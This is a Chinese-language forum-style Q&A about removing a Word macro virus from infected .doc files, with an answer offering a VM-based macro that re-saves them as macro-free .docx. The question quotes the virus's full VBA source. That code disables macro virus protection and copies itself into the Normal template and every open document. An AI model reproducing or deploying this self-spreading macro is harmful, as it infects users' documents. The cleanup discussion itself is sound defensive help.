Word宏病毒

我正在努力帮助一个有宏病毒的朋友。

几乎所有他的.doc文件都被感染了,我想删除恶意宏而不删除word文件。

由于我的朋友从不使用宏,我实际上可以删除他系统上的所有宏。

我如何自动执行此任务?

我面临的一个问题是,在打开受感染的doc文件时,我没有删除恶意宏的权限,这是Macro病毒的代码:

Private Sub Document_Open()
'Thus_001'
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
For k = 1 To Application.Documents.Count
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
      .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  End If
  If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
      .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
      .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
      .VBComponents.Item(1).CodeModule.CountOfLines)
  End If
Next k
frm_Msg.Show
End Sub
Private Sub Document_Close()
   Document_Open
End Sub
Private Sub Document_New()
   Document_Open
End Sub
Private Sub Document_Save()
    Document_Open
End Sub

这是在mac上运行10.6.8 with word 2004

最快的方法是使用更现代的Word版本。我做了以下事情。创建VM或拍摄可以回滚到的现有VM的快照。将所有受感染的Word文件放入目录,然后从Word文档运行此宏:

'Add a reference to Microsoft Scripting Runtime.
Public Sub ScrubMacros()
    Application.DisplayAlerts = wdAlertsNone
    With New Scripting.FileSystemObject
        Dim targets As New Collection
        Dim current As File
        For Each current In .GetFolder("C:\Test").Files
            If .GetExtensionName(current.Path) = "doc" Then
                targets.Add current
            End If
        Next
        Dim infected As Variant
        For Each infected In targets
            Dim doc As Document
            Set doc = Documents.Open(infected.Path)
            doc.SaveAs2 doc.FullName & "x", wdFormatXMLDocument
            doc.Close wdDoNotSaveChanges
        Next
    End With
    Application.DisplayAlerts = wdAlertsAll
End Sub

收集所有生成的.docx文件并将其移出VM,然后将其回滚到快照或删除它。如果您需要保持与Word 2004的兼容性,那么将它们 back 转换为该文件格式几乎可以做同样的事情 - 只需调整文件扩展名并保存为格式。
